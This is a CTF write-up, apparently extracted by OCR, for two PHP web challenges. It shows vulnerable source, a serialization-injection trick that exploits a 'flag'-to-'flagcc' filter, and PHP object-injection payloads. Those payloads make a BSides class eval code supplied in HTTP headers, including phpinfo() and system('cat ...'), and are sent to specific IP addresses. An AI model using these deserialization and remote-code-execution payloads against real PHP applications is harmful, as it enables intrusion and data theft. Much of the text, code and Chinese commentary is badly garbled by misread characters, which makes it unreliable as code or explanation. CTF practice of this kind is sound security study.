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<?php
include 'flag.php';
function filter($string){
$filter = '/flag/i’;
return preg _replace($filter, 'flagcc',$string);
}

$username=$_GET[ 'name'];

$pass="V13tN4m_number_one";

$pass="Fl4g in_V13tN4m";
$ser="a:2:{i:0;s:"'.strlen($username).":\"$username\";i:1;s:".strlen($pass).":\"$pass\";}";

$authen = unserialize(filter($ser));

if($authen[1]==="V13tN4m_number_one "){
echo $flag;

}
if (!isset($_GET['debug'])) {

} else {
highlight_file( __FILE_ );
}

?>
<!-- debug -->
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- C A T2 | 34.88.85.200:4001/index.php/login/debug/pprof/goroutine?debug=1&name=flagflagflagflagflagflagflagflagflagflagflagflagflagflagfla...
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include ' flag.php’
function filter ($string) {
$filter = " /flagfi’;
return  preg_replace ($filter, flagee’, $string);
)
$username=$_GET [ name’ ]
$pass="V13tNdm_number_one”
$pass="Fldg_in V13tNdm",
$ser="a:2:{1:0,s: . strlen($username). ": "\ "fusername’”;i:1;=:". strlenidpass). "1\ fpas=\" 1"

$authen = unserialize(filter (§ser));

if($authen[1]==="V13tNdm_rumker_one ) {

: echo  Jflag;
it (lisset{§ GET[ debug’ 1))
echo(“PLSSS DONT HACE NE!!!!!!™).PHP_EOL
}oelse 1
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<?php

include "config.php";
function filter($str) {
if(preg_match("/system|exec|passthru|shell _exec|pcntl_exec|bin2hex|popen|scandir|hex2bin|[~$.~ " ]|\'[a-
return false;
} else {
return true;

}

class BSides {
protected $option;
protected $name;
protected $note;

function _ construct() {
$option = "no flag";
$name = "guest";
$note = "flag{flag_phake}";
$this->load();

}
public function load()
{
if ($this->option === "no flag") {
die("flag here ! :)");
} else if ($this->option === "getFlag"){
$this->loadFlag();
} else {
die("You don't need flag ?");
}
}

private function loadFlag() {
if (isset($this->note) & isset($this->name)) {
if ($this->name === "admin") {
if (filter($this->note) == 1) {
eval($this->note.";");



} else {
die("18cm30p !! :< ");
¥

}

function __destruct() {
$this->load();
}
¥

if (isset($_GET['ctf'])) {
$ctf = (string)$_GET['ctf'];
if (check($ctf)) {
unserialize($ctf);

}
} else {
highlight_file(_ FILE_ );
}
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if (check($ctf))
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0:6:"BSides":3:{s:9:"%00*%00option";s:7:"getFlag";s:7:"%00*%00name" ;s:5: "admin";s:7:"%00*%00note";s:10: "php
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class BSides {
private $option;
private $name;
private $note;
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0:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:2:"aa";}
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Date: Thu, 12 Aug 2021 02:43:32 GMT
Server: Apachef2.4.38 (Dehian)
X-Powered-By: PHP/7.3.29

Wary: Accept-Encoding
Content-Length: 8307

Connection: close

Content-Type: text/html; charset=UTF-8

BATBATLLE R, MRS BIIRE R Apache(F R R BER RS H/BE T A A, LA EER B
getallheaders R fE Fi7fEApache¥f1%), phpiiAR27.3.29. XEEHRBEENRFER, RELLIRATE AR M8 R i o 5%
HALIhE!

2.SfEHT 5 -
FISKARE I FERERsKSET, FESHEMNTRMIT161EH], \002 8 f#HT %00
Bl: EIEFHHELT,

0:6:"BSides":3:{S:9:"\00*\0option";s:7:"getFlag";?}
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payload:

ctf=0:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:28:"eval(next(getallhead

ER: (EEALFRPragmaffiheaderf)fE, XERAKZnext, ATLAHSHost T H % —/~headerfIE LRI LA T)

GET

fPct=0E: %226 S1des%22:3:{5:6: %220ption%22;5:7: %22 getFlag %22, .4
%o22name%22;s:5:%22admin%22; s:4: %22note %22, 5:28: %2 2eval(next (ge
tallheaders())); %22} HTTR/1.1

Host: 34.118.41.45:4001

Pragma: phpinfa(};

Cache-Control: no-cache

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/s.0 (Windows NT 10.0; WinE4; x64)
AppleWebKit/a37 .36 (KHTML, like Gecka) Chrome/92.0.4515.131
Safarif537.36 Edg/92.0. 902 67

Accept:

text/html application/xhtml+xml application/xml;q=0.9 image/webp image/a
png, ™, q=0.8 application/signed-exchange;v=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CM zh; =09 en;q=0.8 en-GB;q=0.7 en-US;q=0.6
Connection: close
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payload:

ctf=0:6:"BSides":3:{s:6:"option";s:7:"getFlag";s:4:"name";s:5:"admin";s:4:"note";s:26:"eval(getallheaders()

HR:


https://blog.csdn.net/qq_38154820/article/details/107171940

GET /7ct=0:6:%228Sides%22:3:{5:6: %220ption%22; 5:7: %22 getFlag%22; 5:4:%22name %22 5:5: %22admin%22; 5:4: %22note %22 5: 26: %22eval(getallheaders [ 11]); %22, } HTTR/ 1
Host: 34.118.41.45:4001

11: phpinfo();

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/s.0 (Windows MT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/a37.36 Edg/92.0.902.67

Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwehbp image/apng, ", q=0.8 application/signed-exchange;v=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9 en;q=0.8 en-GB;¢=0.7 .en-US;q=0.6

Caonnection: close
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RAFER:

GET /?ctf=0:6:%22BSides%22:3:{s:6: %22option%22; 5:7: %22 getFlag%22; s:4: %22name %22; 5:5: %22admin %22 s:4: %22note %22, 5:28: %22 eval(next (getallheaders())); %22, } HTTRPM 1
Host: 34.118.41.45:4001

Cache-Cantrol: chdir(/home’)?=<?php system('cat fldg_ne_xxx.txt);

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64) Apple\WebKit/537 36 (KHTML, like Gecko) Chrome/2.0.4515.131 Safari/537.36 Edg/92.0.902 67

Accept: text/html application/shtml+xml application/xml; q=0.9 image/webp imagefapng,**;q=0.8 application/signed-exchange;v=h3;q=0.9

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;g=0.9 &n;q=0.8 en-GB;q=0.7 en-US;g=0.6

Connection: close
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